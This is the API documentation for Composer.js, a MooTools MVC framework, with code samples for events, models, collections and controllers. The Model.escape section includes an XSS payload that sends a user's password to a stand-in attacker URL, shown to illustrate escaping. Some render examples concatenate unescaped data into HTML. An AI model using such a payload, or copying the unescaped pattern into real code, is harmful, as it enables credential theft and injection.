Composer.js
Composer.js is a javascript MVC framework for Mootools that helps you grow and manage your front-end javascript application by splitting out separate pieces of functionality using the Model View Controller design pattern.
Composer.js borrows (and in some cases takes directly from) two incredible existing JS frameworks, backbone.js and spine, taking from both where we felt they were successful. The javascript world was lacking a Mootools alternative to these frameworks, so we built Composer.js.
Download / Dependencies
Download 0.7.4Composer's only external dependency is MooTools 1.3+. A good understanding of JavaScript and object oriented programming methodology is recommended.
TODO App

Everyone else has one, so here's our totally gnar TODO app!
Framework comparison
How is Composer.js different from Backbone.js and Spine?
| Feature | Backbone | Spine | Composer.js |
|---|---|---|---|
| Collections | Has a separate object for collections. Models are explicitely added to collections. | "Collections" are just a set of static member functions. Any instantiated model of a certain type is implicitely added to that model's collection. | Has a separate object for collections. Models are explicitely added to collections. Models can exist in multiple collections. |
| REST/ajax | Has server-side data syncing which uses REST-type URLs to CRUD data. | Has server-side data syncing which uses REST-type URLs to CRUD data. | Assumes nothing about your data syncing and provides a supporting API to implement this yourself. We plan to eventually emulate the other two frameworks, but this is not the highest priority. |
| Event triggering | Supports passing a {silent: true} object to silence all events during an operation. | Supports passing a {silent: true} object to silence all events during an operation. | Supports passing a {silent: true} object to silence all events during an operation, but also supports passing {not_silent: ['add', 'reset']} object to tell the framework "the only events that are allowed to fire during this operation are 'add' and 'reset'." Also supports {silent: ['add']} to silence only the 'add' event. |
| Supporting libraries | One-file library, supports additional modules. | Has multiple files dealing with different sets of functionality. Overall, has the most supporting libraries and functions. | One-file library, supports additional modules. |
| "Controller" vs "View" | View | Contoller | Controller |
| Framework | jQuery | jQuery | Mootools |
Note that this table is meant to highlight the differences. There are many more similarities between the frameworks.
Using the framework / a note on implementation
The main motivation behind Composer.js (and the frameworks Composer.js takes ideas from) is a separation of your data and the display of the data. When implemented correctly, there are almost no instances where you update the display of your data manually. Instead, you just change your data (aka model), and your display (aka controller) listens for these changes and self-updates.
For example, a Controller in Composer.js is responsible for rendering HTML and communicating with its model(s). Let's say the Controller renders the following html:
<li class="user"> <h2>Larry</h2> <span>Age: 23</span> </li>
What if Larry changes his name? How do we display this? The best way, is to change the model that holds
Larry's data. For instance, we'll use userModel.set({name: "Sally"})
to change Larry's name to Sally.
Alone, this doesn't do anything but change the data in the model. However, The Controller that rendered
Sally's HTML in the first place can listen to the change
event in the userModel object, and when fired, render the view again, showing Sally's new name.
Why not just call Controller.render()? Well, let's say Sally is displayed in the main user list, but also in the user of the week list. Now you have to remember to call Controller.render() in two places. Instantly not scalable. Instead, any controller that displays parts of a model's data can bind to any of the model's events to update its display accordingly.
This is the Composer.js way. Separation of data and display. Change your data in one place, and all of your HTML re-renders to reflect this change, almost automatically. If you use nothing else from the framework, use this concept.
Example
The following seems like a lot of code, but its usefulness comes into play when you have a lot of moving parts each showing different representations of the same data (happens a lot more than you'd think, even in simpler JS apps).
This example shows usage of properly using events to bind a controller function to a model's data changing, but also controller events (for running a controller function when a JS event fires). These are the main building blocks of a data-driven, event-based JS app, which is what we're all about!
/* Create a new model class for our user type. */
var User = Composer.Model.extend();
/* Create a controller class for handling the display of a user model */
var UserDisplay = Composer.Controller.extend({
inject: '#intro_example ul',
tag: 'li',
model: null, // set on instantiation
init: function()
{
// here's where the magic happens. every time the model changes, we render our view again.
this.model.bind('change', this.render.bind(this));
// show the initial view
this.render();
},
render: function()
{
var data = this.model.toJSON();
this.html('<span>'+data.name+'</span>');
return this;
}
});
/* Create a controller class for handling the updating of a user's name */
var UserUpdate = Composer.Controller.extend({
el: '#intro_example .edit',
events: {
'submit form': 'user_edit'
},
elements: {
'form input[type=text]': 'inp_name'
},
model: null, // set on instantiation
init: function()
{
// show the edit form
this.render();
},
render: function()
{
// render the form HTML
this.html('<form><input type="text" name="name" value="'+ this.model.get('name') +'" /><input type="submit" /></form>');
return this;
},
user_edit: function(e)
{
if(e) e.stop();
var newname = this.inp_name.value;
// note we don't do anything besides set the new name into the model
this.model.set({name: newname});
}
});
var larry = new User({name: 'Larry'});
new UserDisplay({model: new User({name: 'Dick Luvr'})});
new UserDisplay({model: larry});
new UserDisplay({model: new User({name: 'Fisty McButte'})});
// init the user editor for "larry"
new UserUpdate({model: larry});
API Documentation
Events
Events are the main way different pieces of your application communicate with each other. Events are also used by the framework itself to notify your application of changes to data or interfaces.
The Model, Collection, and Controller objects all implement Events, so anything available in events is available in instances of these objects as well.
Example of event being used in your app:
var MyController = Composer.Controller.extend();
var con = new MyController();
con.bind('alertme', function(name) {
alert('Hai, '+ name +', this is your alert');
});
con.trigger('alertme', 'Andrew')
Example of event being used by the framework:
var Note = Composer.Model.extend();
var mynote = new Note({ text: 'get a job' });
mynote.bind('change', function(note) {
alert('Your note changed: '+ note.get('text'));
});
mynote.set({ text: 'my goat hurts' });
The framework triggers events when certain actions happen in your Models or Collections.
Events.bind object.bind(String event_name, function callback [, string callback_name])
Binds an event to object. The event under "event_name" can be an arbitrary string, or an event used by Composer.js internally. You can optionally attach a name (callback_name) to the callback to make it easier to unbind later on. More on this further down.
There are two special events to be aware of:
-
all
The "all" event is triggered whenever another event is triggered:
mymodel.bind('all', function() { alert('something happened!!!!!!!1'); }); mymodel.trigger('make_babies'); // <- this will trigger the "all" event -
change:[model key]
The "change" event is called whenever a model is changed using Model.set(). However, for each key in the model that was changed, a specific event will be triggered for that key:
var mymodel = new MyModel({name: 'larry', age: 54}); mymodel.bind('change:name', function(model, value) { alert('The new name of the model is '+ value); }); mymodel.set({ age: 43 }); // <- this will NOT trigger the above event mymodel.set({ name: 'suzy' }); // <- this will trigger the event, because the name changed
Events.unbind object.unbind(String event_name, mixed callback)
Removes a previously-bound callback function from an object. If no callback is specified, all callbacks for the event will be removed. If no event is specified, all event callbacks on the object will be removed.
mymodel.unbind("change", onChange); // Removes the onChange callback
mymodel.unbind("change"); // Removes all "change" callbacks
mymodel.unbind(); // Removes all callbacks on the object
As previously mentioned, you can call Events.bind with an optional
name parameter that allows you to attach a name to an event. This is useful in cases where you bind a function
but don't neccessarily have access to the function later on, so wouldn't be able to unbind it. Instead, you
can pass the callback's name into Events.unbind instead of the callback itself to unbind it.
The following code is an example of a common problem (the following code won't work as expected):
MyController = Composer.Controller.extend({
init: function() {
this.model.bind('change', this.render.bind(this));
this.model.unbind('change', this.render.bind(this));
}
})
Notice how we use this.render.bind(this) which creates a wrapper function for this.render. This
is all fine and good, except that when you call this.model.unbind, the callback being passed in
is a different function than the one we bound, since MooTools' Function.bind method creates a new wrapper
function each time called. Instead of tracking all the instances of your bound functions so you can call them
with unbind later, you can do the following:
MyController = Compoer.Controller.extend({
init: function() {
this.model.bind('change', this.render.bind(this), 'model_change:render');
this.model.unbind('change', 'model_change:render');
}
});
We unbound the function not using the callback as a reference, but the callback's name which we assigned in
this.model.bind as the last parameter. This was a common enough instance for us to justify
building named callbacks into the Composer event system.
Please note that if you try to bind two events with the same event type/callback name, the bind() function will return false.
Events.trigger object.trigger(String event_name, [arg1, [arg2, ...]])
Trigger the given event of an object. If no callbacks are bound to this event, nothing will happen. If there are callbacks bound, they will be called in the order they were bound to the object.
An arbitrary number of arguments can be passed into the trigger function, each of those being passed directly into each callback being triggered:
mycontroller.bind('tag_clicked', function(tag_name, user_name) {
alert('user '+ user_name + 'clicked the tag "'+ tag_name +'"');
});
mycontroller.trigger('tag_clicked', 'fisting', 'larry');
Model
Models are classes that deal with data, the heart of any JavaScript application. They deal with loading and manipulating data from various sources (AJAX, local storage, etc.), and they make wrapping your actual data easy. Models tie in well with collections or controllers via events to allow for easy updating and rendering.
Models also tie in with the Composer.sync function to provide a central place for saving/updating
information with a server.
The following is a contrived example, but it demonstrates defining a model with a custom method, setting a data attribute, and firing an event
keyed to changes in that specific data attribute. After running this code once, sidebar will be available in your browser's
console, so you can play around with it.
var Nav = Composer.Model.extend({
promptColor: function() {
var cssColor = prompt("Please enter a CSS color:");
this.set({color: cssColor});
}
});
window.nav = new Nav;
nav.bind('change:color', function(model, color) {
$('nav').style.backgroundColor = color;
});
nav.set({color: '#fed'});
nav.promptColor();
Model.extend Composer.Model.extend([Object properties], [Base Model Class])
To create a Model class of your own, you extend Composer.Model and provide instance properties.
var Disease = Composer.Model.extend({
init: function() { ... }, // runs on instantiation
get_symptoms: function() { ... },
is_sexually_transmitted: function() { ... }
});
Models can extend each other to inherit their functions and properties as well:
var Herpes = Composer.Model.extend({
is_sexually_transmitted: function() {return true;}
}, Disease); // <-- base class passed as second parameter
Herpes has all the properties and functions of "Disease," overriding the parent class' "is_sextually_transmitted" function.
Model.init / constructor new Model([Object attributes])
When creating an instance of a model, you can pass in the initial values of the data attributes, which will be
set on the model. If you define an init function, it will be invoked when the model is created.
var Disease = Composer.Model.extend({
init: function() {
alert("you have " + this.get('name') + " lol");
}
});
var disease = new Disease({
name: "herpes"
});
Model.set model.set(Object attributes, [Object options])
Sets one or more data attributes for the model, triggering change events for individual data attributes that change, and also a general change event if the model has changed. These events are only triggered if an attribute actually changes; setting an attribute to the same value it currently is will not trigger events.
For example: model.set({name: "fisty", age: 21}); will trigger the events:
"change:name""change:age""change"
If the model belongs to a collection, the events will bubble up to that collection as well, so as to notify the collection of any display changes needed.
Model.unset model.unset(String attribute, [Object options])
Unsets one data attribute from the model. Fires change events unless a silent option is passed.
Model.get model.get(String attribute)
Get the current value of a data attribute from the model. For example: disease.get('is_sexually_transmitted')
Model.escape model.escape(String attribute)
The same as get, except any HTML characters will be escaped when the data attribute is a string.
This is useful for preventing XSS-type attacks when loading data from your model into the DOM.
var Hacker = Composer.Model.extend();
var hacker = new Hacker({
name: "<script>window.href = 'http://northkorea.com/steal.php?pw='+user.password</script>"
});
alert(hacker.escape('name'));
Model.has model.has(String attribute)
Returns true if the data attribute is set to a non-null or non-undefined value.
Model.clear model.clear(option)
Clears all data out of the model. Fires change events unless a silent option is passed.
Model.id model.id([Boolean no_cid])
Ids are special identifier values, either string or integer, which normally correspond to a database id field value.
Models can be retrieved by id from collections, and the id is used to
generate model URLs by default. The id method is a convenient way of retrieving any id stored in the Model's data.
var Employee = Composer.Model.extend();
var jeff = new Employee({
id: 657932
});
alert(jeff.id());
By default, the id key is the string "id", but you can override this with the Model.id_key property. This can be
useful, for example, if you're using MongoDB and your ids are stored in the _id property.
var Employee = Composer.Model.extend({
id_key: '_id'
});
var jeff = new Employee({
_id: 657932
});
Models that are newly created may not have an id yet. By default, calling the id method on a model with no id will
return the model's cid instead. This behavior can be suppressed by passing true
into the no_cid parameter, in which case the method will return false when no id exists.
Model.cid model.cid()
The cid (or client id) is a special property of models, a unique identifier automatically assigned to all models when
they're first created. Client ids are handy when the model has not yet been saved to the server, and does not yet have its eventual true
id, but needs to be visible and manipulated in the UI. Client ids take the form: c1, c2, c3, ...
var Employee = Composer.Model.extend(); var jeff = new Employee(); alert(jeff.id()); // they are alert(jeff.cid()); // the same
Model.data model.data
A model's data attribute contains all of the attributes corresponding to the model's state. These attributes can be accessed using the
get and set methods.
Model.toJSON model.toJSON()
Returns a copy (not reference) of the model's data attributes. This can be useful for handing off data to views, adding any data as necessary without affecting the actual model. Note, this doesn't actually return JSON; the name of this method is a bit confusing, because it conforms to JavaScript's JSON API.
var Employee = Composer.Model.extend();
var peon = new Employee({
id: 657932,
first_name: 'Jeff'
});
alert(peon.toJSON());
alert(peon.toJSON().first_name);
Model.defaults model.defaults
The defaults object can be used to specify the default data attributes for your model. When creating an instance of the model, any unspecified attributes will be set to their default value.
var Meal = Composer.Model.extend({
defaults: {
appetizer: "caesar salad",
entree: "ravioli",
dessert: "cheesecake"
}
});
alert("Dessert will be " + (new Meal()).get('dessert'));
Model.fetch model.fetch([Object options])
Populates the model's state from the server. Useful if the model has never been populated with data, or if you'd like to ensure that you
have the latest server state. A "change" event will be triggered if the server's state differs from the current data attributes. Accepts
success and error callbacks in the options object, which are passed (model, response) as
arguments.
// Get the person model state from server person.fetch();
Model.save model.save([Object options])
Save a model to your database (or alternative persistence layer), by delegating to Composer.sync.
If the model has a validate method, and validation fails, the model will not be saved. If
the model is_new(), the save will be a "create" (HTTP POST), if the
model already exists on the server, the save will be an "update" (HTTP PUT).
In the following example, notice how our overridden version of Composer.sync receives a "create" request the
first time the model is saved and an "update" request the second time.
Composer.sync = function(method, model) {
alert(method + ": " + JSON.stringify(model));
model.set({id: 1})
};
var Book = Composer.Model.extend();
var my_book = new Book({
title: "Quitting Your Job for Dummies",
author: "Andrew"
});
my_book.save(); // sync does a "create"
my_book.set({author: "Jeff"});
my_book.save(); // sync does an "update"
save accepts success and error callbacks in the options hash, which are passed
(model, response) as arguments. The error callback will also be invoked if the model has a validate
method, and validation fails. If a server-side validation fails, return a non-200 HTTP response code, along with an error response
in text or JSON.
my_book.save({error: function(){ ... }});
Model.destroy model.destroy([options])
Destroys the model on the server by delegating an HTTP DELETE request to Composer.sync.
Accepts success and error callbacks in the options object. Triggers a "destroy" event on the model,
which will bubble up through any collections that contain it.
my_book.destroy({success: function(model, response) {
...
}});
Model.validate model.validate(Object attributes)
This method is left undefined, and you're encouraged to override it with your custom validation logic, if you have any that can be
performed in JavaScript. validate is called before set and save, and is passed the data attributes
that are about to be updated. If the model and attributes are valid, don't return anything from validate; if the
attributes are invalid, return an error of your choosing. It can be as simple as a string error message to be displayed,
or a complete error object that describes the error programmatically. set and save will not continue if
validate returns an error. Failed validations trigger an "error" event.
var Chapter = Composer.Model.extend({
validate: function(attrs) {
if (attrs.end < attrs.start) {
return "can't end before it starts";
}
}
});
var one = new Chapter({
title : "Chapter One: The Beginning"
});
one.bind("error", function(model, error) {
alert(model.get("title") + " " + error);
});
one.set({
start: 15,
end: 10
});
"error" events are useful for providing coarse-grained error messages at the model or collection level, but if you have a specific
view that can better handle the error, you may override and suppress the event by passing an error callback directly:
account.set({access: "unlimited"}, {
error: function(model, error) {
alert(error);
}
});
Model.get_url model.get_url()
Returns the relative URL where the model's resource would be located on the server. Generates URLs of the form: "/[collection url]/[id]",
falling back to "/[base_url]/[id]" if the model is not part of a collection. In the case that a
base_url is specified and the model lives inside a collection, the base_url will take priority and the collection's
URL scheme will not be used.
get_url delegates to the Collection.get_url method of the highest priority collection that
the model belongs to in order to generate the URL. Make sure that you have a
Collection.url defined, or a Model.base_url property, if all models of this class share a common root
URL. A model with an id of 101, stored in a Composer.Collection with a url of
"/documents/7/notes", would have this URL: "/documents/7/notes/101"
// Demonstrates getting a model's url based on the collection's URL
var Bunny = Composer.Model.extend();
var BunniesCollection = Composer.Collection.extend({
model: Bunny,
url: '/bunnies'
});
var chuckles = new Bunny({
id: 1
});
var collection = new BunniesCollection([chuckles]);
alert(chuckles.get_url());
Model.base_url model.base_url
Specify a base_url if you're using a model outside of a collection to enable the get_url
method to generate URLs based on the model id.
// Demonstrates using a base_url to generate a relative path
var Bunny = Composer.Model.extend({
base_url: '/bunny'
});
var chuckles = new Bunny({
id: 1
});
alert(chuckles.get_url());
Model.url model.url
You can override the default get_url behavior and explicitly specify a model's URL by setting
the Model.url property:
var Bunny = Composer.Model.extend({
id: 9001,
url: '/bunny_bunny_bunny'
});
alert((new Bunny).get_url());
Model.collections model.collections
Array containing references to the collection(s) the model is in. The collection with the highest priority property value is used when
deriving the model's URL via the Model.get_url method (which delegates to
Collection.get_url).
// Demonstration of Collection priority
var Bunny = Composer.Model.extend();
var BunniesCollection = Composer.Collection.extend({
model: Bunny,
url: '/bunnies',
priority: 1
});
var MammalsCollection = Composer.Collection.extend({
model: Bunny,
url: '/mammals',
priority: 2
});
var chuckles = new Bunny({
id: 1
});
var collection1 = new BunniesCollection([chuckles]);
var collection2 = new MammalsCollection([chuckles]);
alert(chuckles.get_url());
Model.highest_priority_collection model.highest_priority_collection()
Returns a reference to the member of the collections array with the highest priority
property value, or false if the array is empty.
Model.parse model.parse(Object response)
parse is called whenever a model's data is returned by the server, in fetch, and
save. The function is passed the raw response object, and should return the data attributes
object to be set on the model. The default implementation is a no-op, simply passing through the JSON response. Override this if you need to perform
any data transformations before setting data into the model.
Model.clone model.clone()
Returns a new instance of the model with identical data attributes.
Model.is_new model.is_new()
Has this model been saved to the server yet? If the model does not yet have an id, it is considered to be new.
Collection
Collections are ordered lists of models and contain various helper functions for finding and selecting subsets of model data. They are basically a wrapper around an array; their function is dealing with large amounts of model data. For example, a blog post might have a collection of comments—each individual comment could be a model within the comments collection.
Collections can be bound to "change" events, which trigger when any model in the collection has been modified. They can listen
for "add" and "remove" events, and can fetch their contents from the server (via
Composer.sync).
Collection.extend Composer.Collection.extend([Object properties], [Base Collection Class])
To create a Collection class of your own, extend Composer.Collection, providing instance properties and optionally another
Collection class to extend (see Model.extend for example usage).
Collection.model collection.model
Override this property to specify the model class that the collection contains. If defined, you can pass raw data attributes objects
to the constructor, add, and
reset, and the attributes will be converted into a model of the proper type.
var Library = Composer.Collection.extend({
model: Book
});
You can also specify the model as a string. This is useful if for some reason you need to load your collection before your model. Note that the model is converted from a string to an object on instantiation (not definition) of the Collection:
var Library = Composer.Collection.extend({
model: 'Book'
});
var library = new Library(); // <-- 'Book' becomes Book here
Collection.init / constructor new Collection([Array models], [Object properties], [Object options])
When creating a Collection, you may choose to pass in the initial array of models via the models parameter. Collection
properties can be set via the properties object, overriding any defaults. This is useful for specifying a
sortfn for sorting. If you define an init function, it will be invoked when
the collection is created. The options parameter is passed internally to the reset
method on initialization and before any init function is called.
var Book = Composer.Model.extend();
var Library = Composer.Collection.extend({
model: Book,
url: '/Library',
init: function() {
alert("I'm a library with " + this.models().length + " books!");
},
public: true // overridden by our example library
});
var book1 = new Book();
var book2 = new Book();
var book3 = new Book();
var lib = new Library( [ book1, book2, book3 ], { public: false } );
alert('is public? ' + lib.public);
Collection.models collection.models()
Wrapper function to get the models under the collection for direct selection.
Collection.priority collection.priority
In Composer, any particular instance of a model can be added to more than one collection. Typically, when a model saves, it needs to invoke
Collection.get_url in order to derive its url. If the model belongs to more than one
collection, the collection with the highest priority value is used in determining the url.
Please see Model.collections for an example of priority in action.
Collection.toJSON collection.toJSON()
Return an array containing the data object of each model in the collection. This can be used to serialize and persist the collection as a whole. The name of this method is a bit confusing, because it conforms to JavaScript's JSON API.
var Students = Composer.Collection.extend();
var classroom = new Students([
{name: "Timmy", age: 5},
{name: "Billy", age: 6},
{name: "Wendy", age: 9001}
]);
alert(JSON.stringify(classroom));
Collection.add collection.add(Mixed models, [Object options])
Add one or more models to the collection. The value of themodels parameter can be an object or an array of objects.
If any of these objects is a model, it is added directly to the collection. You
may also pass objects containing raw data attributes and they will be instantiated as models of the type specified in
Collection.model. Fires "add" events, which you can suppress by passing
{silent: true} in the options parameter. Pass {at: index} in the options parameter
to splice the model into the collection at the specified index.
var Diseases = Composer.Collection.extend();
var your_diseases = new Diseases();
your_diseases.bind("add", function(disease) {
alert("you have " + disease.get("name") + " lol");
});
// add a single object
your_diseases.add(
{name: "herpes"}
);
// add an array of objects
your_diseases.add([
{name: "syphilis"},
{name: "rectal warts"}
]);
Collection.remove collection.remove(Mixed models, [Object options])
Removes one or more models from the collection. The value of the models parameter can be a model object or an array of model objects.
Fires "remove" events, which you can suppress by passing {silent: true}
in the options parameter.
var Disease = Composer.Model.extend();
var DiseasesColl = Composer.Collection.extend();
var your_diseases = new DiseasesColl();
var herpes = new Disease({name: "herpes"});
var rectal_warts = new Disease({name: "rectal warts"});
var aids = new Disease({name: "AIDS"});
your_diseases.add([herpes, rectal_warts, aids]);
your_diseases.bind("remove", function(disease) {
alert("congrats! you have been cured of " + disease.get("name") + " lol");
});
your_diseases.remove(aids);
Collection.clear collection.clear([Object options])
Removes all models from the collection, triggering a "clear" event unless {silent: true} is passed into options.
Collection.reset collection.reset([Array models], [Object options])
Resets a collection with all new model data and triggers a "reset" event. Existing model data is
cleared out (along with a
"clear" event) unless an {append: true} option is passed, in which case the model data is appended to the end of the
collection's list of models. Passing a {silent: true} option will silence all events that would be triggered by this method.
var Dogs = Composer.Collection.extend();
var my_dogs = new Dogs([
{type: "Pomeranian"},
{type: "Malamute"},
{type: "Chihuahua"},
]);
my_dogs.bind("reset", function() {
alert("I have " + this.models().length + " dogs!");
});
my_dogs.reset([
{type: "Husky"}
]);
Collection.sortfn collection.sortfn
Each collection can optionally have a sortfn function defined; this is used automatically when adding models to the collection to
sort and keep the collection's models array in a specified order.
var Dogs = Composer.Collection.extend({
sortfn: function(a, b) {
return a.get('weight') - b.get('weight');
}
});
var my_dogs = new Dogs([
{ name: "Toby", weight: 60 },
{ name: "Ruby", weight: 12 },
{ name: "Wookie", weight: 20 },
{ name: "Timmy", weight: 6 }
]);
// Return dogs ordered by weight
alert(my_dogs.models()[0].get('name'));
alert(my_dogs.models()[1].get('name'));
alert(my_dogs.models()[2].get('name'));
alert(my_dogs.models()[3].get('name'));
Collection.parse collection.parse(Object response)
parse is called whenever a collection's model data is returned by the server, in
fetch. The function is passed the raw response object. The default implementation
is a no-op, simply passing through the JSON response. Override this if you need to perform any data transformations before setting model data
into the collection.
Collection.each collection.each(function fn, [Object bind])
A convenience function for looping over each of a collection's models, optionally binding the function's scope to an object.
var Dogs = Composer.Collection.extend();
var my_dogs = new Dogs([
{ name: "Toby", weight: 60 },
{ name: "Ruby", weight: 12 },
{ name: "Wookie", weight: 20 }
]);
my_dogs.each(function(model) {
alert(model.get('name') + ' weighs ' + model.get('weight') + ' pounds.');
});
Collection.map collection.map(function fn, [Object bind])
A convenience function for executing a function on each of a collection's models and returning the results. You can optionally bind function fn's scope to an object with the bind parameter.
var Dogs = Composer.Collection.extend();
var my_dogs = new Dogs([
{ name: "Toby", weight: 60 },
{ name: "Ruby", weight: 12 },
{ name: "Wookie", weight: 20 }
]);
var results = my_dogs.map(function(model) {
return model.get('name') + ' weighs ' + model.get('weight') + ' pounds';
});
alert(results);
Collection.find collection.find(function callback, [function sortfn])
Returns the first model in the collection that satisfies the callback function, optionally ordering the search by the sorting
function defined in sortfn.
var Dogs = Composer.Collection.extend();
var my_dogs = new Dogs([
{ name: "Toby", weight: 60 },
{ name: "Lucy", weight: 30 },
{ name: "Seal", weight: 30 }
]);
// Find the first dog in the collection that weighs 30 pounds
var dog = my_dogs.find(function(model) {
if (model.get('weight') == 30) return true;
});
alert(dog.get('name'));
Collection.exists collection.exists(function callback)
Given a callback function, returns whether or not at least one of the models within the collection satisfies that function.
var Laptops = Composer.Collection.extend();
var my_laptops = new Laptops([
{
name: 'Alienware M17x R3',
lightweight: false,
powerful: true
},
{
name: 'Lenovo W520',
lightweight: false,
powerful: true
},
{
name: '11" Macbook Air',
lightweight: true,
powerful: false
},
]);
var perfect_laptop_exists = my_laptops.exists(function(model) {
if (model.get('lightweight') && model.get('powerful')) return true;
});
alert(perfect_laptop_exists); // false
Collection.find_by_id collection.find_by_id(Mixed id, [options])
Convenience function to find a model by id (or
cid if id is not set). If options.strict is true,
cid will not be searched, and only id will be compared to the passed id.
If options.allow_cid is set to true, then even on model.id() returning false,
model.cid() can be used for comparison, which is useful if you don't know
whether the id you're passing is an id or cid, but the model already has an assigned id.
Collection.find_by_cid collection.find_by_cid(Mixed cid)
Convenience function to find a model by cid.
Collection.index_of collection.index_of(Mixed model_or_id)
Accepts either a model or an id and returns the index of that item in the list of models.
var CubicleFarm = Composer.Collection.extend();
var Employee = Composer.Model.extend();
var employee1 = new Employee({ id: 657932, name: "Perry the Peon" });
var employee2 = new Employee({ id: 326489, name: "Suzy the Serf" });
var employee3 = new Employee({ id: 243641, name: "Ernie the Indentured Servant" })
var office = new CubicleFarm([employee1, employee2, employee3]);
alert(office.index_of( 243641 )); // returns 2
alert(office.index_of( employee1 )); // returns 0
Collection.select collection.select(Mixed selector)
Queries the models in the collection with the criteria specified in selector and returns all that match.
selector can be either a callback function or a key-value object for matching.
For example:
mycol.select(function(data) {
if(data.get('name') == 'andrew' && data.get('age') == 24) {
return true
}
});
is the same as:
mycol.select({
name: 'andrew',
age: 24
});
In other words, it's a very simple version of MongoDB's selection syntax, but with a lot less functionality.
Note: The object-based method of querying creates a pre-compiled function it does testing with instead of interpreting the query object for each loop. In other words, {name: 'andrew', age: 24} is converted to a function that's almost identical to first select() example above, and then that created function is used in the filtering process. This makes the speed difference between the function selection and the object selection almost the same, except for the time it takes to compile the created function.
Collection.first collection.first([Integer n])
Returns the first model from the collection, or the first n items, if specified.
Collection.last collection.last([Integer n])
Returns the last model from the collection, or the last n items, if specified.
Collection.url collection.url
The relative URL which describes the collection's location on the server. This value can (and should) be retrieved via the
Collection.get_url method.
var Library = Composer.Collection.extend({
url: '/Library'
});
Collection.get_url collection.get_url()
A simple wrapper function to get the collection's url. Models within the
collection will ordinarily call Collection.get_url within
Model.get_url in order to derive their location on the server.
Collection.fetch collection.fetch([Object options])
Populates the collection's state from the server. Useful if the collection has never been populated with data, or if you'd like to
ensure that you have the latest server state. A "change" event will be triggered if the server's state differs from the current model
state. Accepts success and error callbacks in the options object, which are passed
(model, response) as arguments.
// Get the people collection state from server people.fetch();
Controller
Controller classes sit between views and your models/collections and are very simple, being more of a set of conventions than actual code. Controllers are the glue inside your application, tying the various components together. Generally, controllers deal with adding and responding to DOM events, rendering templates and keeping views and models in sync.
The following example is a good demonstration of a controller in action. It utilizes the following concepts:
-
a controller is defined with
extendand given aninitfunction eldefines a CSS selector to grab for its viewelementsspecifies a list of elements within the view to assign as properties- a
classNameto apply on initialization is defined eventsand associated callback functions are linked to HTML elements- a function is bound to the
"click"event
var DemoController = Composer.Controller.extend({
el: "#controller_demo_1",
className: 'active',
elements: {
'ul': 'my_list',
'p.text': 'my_text',
'button': 'my_button'
},
events: {
'click button': 'button_press_func'
},
init: function() {
this.my_text.destroy();
this.my_button.disabled = false;
},
button_press_func: function(e) {
this.my_list.set('html', 'You clicked the button!');
}
});
var my_demo = new DemoController();
// Run Code and check out the controller_demo_1 div below
controller_demo_1
Please click the "Run Code" button above to activate this example.
- list item 1
- list item 2
- list item 3
Controller.extend Composer.Controller.extend([Object properties])
To create a Controller class of your own, extend Composer.Controller, providing instance properties.
var TestController = Composer.Controller.extend({
...
});
Note that extending another controller will not only inherit its properties and functions, but will merge its events and elements into the extending class:
var Base = Composer.Controller.extend({
events: {
'click .mydiv': 'clicked_div'
},
clicked_div: function(e) { ... }
});
var Users = Composer.Controller.extend({
// note we aren't explicitely defining the 'click .div' event...it's inherited
events: {
'submit form': 'submit'
},
clicked_div: function(e) {
// do something else
},
submit: function() {...}
}, Base);
In the above example, Users overrode the "clicked_div" function, BUT the event 'click .mydiv' was inherited and appended to the events object for the new controller, effectively making its events:
{
'click .mydiv': 'clicked_div',
'submit form': 'submit'
}
As mentioned, the same merging will happen with "elements" as well. When naming conflicts occur, priority is given to the extending class, and the base events/elements are overriden.
Controller.init / constructor new Controller([Object properties])
When creating an instance of a controller, you can pass in intial properties. It's a good practice, although not required, to
pass your model data into a property called model. If you define an init function, it will be
invoked when the controller is created, after any elements and
events assignment.
var TestController = Composer.Controller.extend({
init: function() {
alert('My name is ' + this.model.get('name'));
}
});
var my_model = new (Composer.Model.extend())( {name: 'Billy!'} );
var my_controller = new TestController( {model: my_model} );
Controller.el controller.el
A controller's el is the DOM object that is bound to it, a container for any
rendered HTML elements associated with the controller's view(s).
Often, it is necessary to define a controller before its container element exists in the DOM. For convenience, el
can be set to a string CSS selector in the controller's definition. Then, upon initialization, if the selector "hits" an
element in the DOM, the element is then tied to the controller.
var DemoController = Composer.Controller.extend({
el: "#nav"
});
var my_demo = new DemoController();
my_demo.el.style.backgroundColor = prompt('Enter a CSS color');
If no value is provided for el, or if the specified CSS selector string matches no elements upon controller
initialization, a DOM element of the type specified in tag is created and assigned
for el.
Controller.inject controller.inject
If inject is set to a string CSS selector, then, within the controller initialization process,
the HTML element el (having been already specified, selected via CSS selector, or
otherwise created of type tag) is injected into the DOM element matching the
inject selector, replacing any existing children. This allows you to easily inject views into the DOM.
Controller.attach controller.attach()
Injects a controller's HTML content (el) into the element specified by the
inject selector, replacing any existing content. attach is normally called
automatically on controller initialization, but can be called again if needed (such as when multiple controllers are using the same
container element and you need to switch from one view to another without re-initializing a controller).
The following example demonstrates using attach along with Controller.events to toggle
the content of a page element between two controllers.
var BoyController = Composer.Controller.extend({
inject: "#cd2_container_element",
init: function() {
this.html("Help I'm a boy!");
}
});
var GirlController = Composer.Controller.extend({
inject: "#cd2_container_element",
init: function() {
this.html("Help I'm a girl!");
}
});
var ButtonController = Composer.Controller.extend({
el: '#controller_demo_2',
events: {
'click button.boy': 'boy_click',
'click button.girl': 'girl_click'
},
className: 'active', // applied on initialization
init: function() {
this.el.getElement('button.boy').disabled = false;
this.el.getElement('button.girl').disabled = false;
this.el.getElement('p').set('html', 'Click the buttons to switch your gender!');
this.boy_controller = new BoyController();
this.girl_controller = new GirlController();
},
boy_click: function() {
this.boy_controller.attach(); // switch to boy
},
girl_click: function() {
this.girl_controller.attach(); // switch to girl
}
});
var my_controller = new ButtonController();
controller_demo_2
Please click the "Run Code" button above to activate this example.
Controller.tag controller.tag
If el is empty on controller initialization, a new HTML element is created of
the type specified in tag. By default, this is a div element.
Controller.elements controller.elements
The elements object is a convenient way to grab DOM elements out of a controller's
el object and
assign them to the controller as properties. elements is specified in the following format:
elements: {
'.selector1': 'property1',
'tag othertag.selector2': 'property2'
}
The property names in the elements object are CSS selectors (to be selected from el).
The corresponding DOM elements are assigned to controller properties with the names specified by the values of the elements
properties. This selection and assignment process happens internally during controller initialization, and whenever the
html or replace methods are invoked. You
can also call refresh_elements directly to refresh the element assignments.
Controller.events controller.events
The events object is used to link event callback functionality to HTML elements within the controller's
el object. For example, you could link controller function callbacks to submit and
click actions in the view as follows:
events: {
'submit form': 'validate_form',
'change input.pass': 'check_password_strength'
}
The property names in the events object are strings of the form "[event] [selector]" and the values define the associated
callback function.
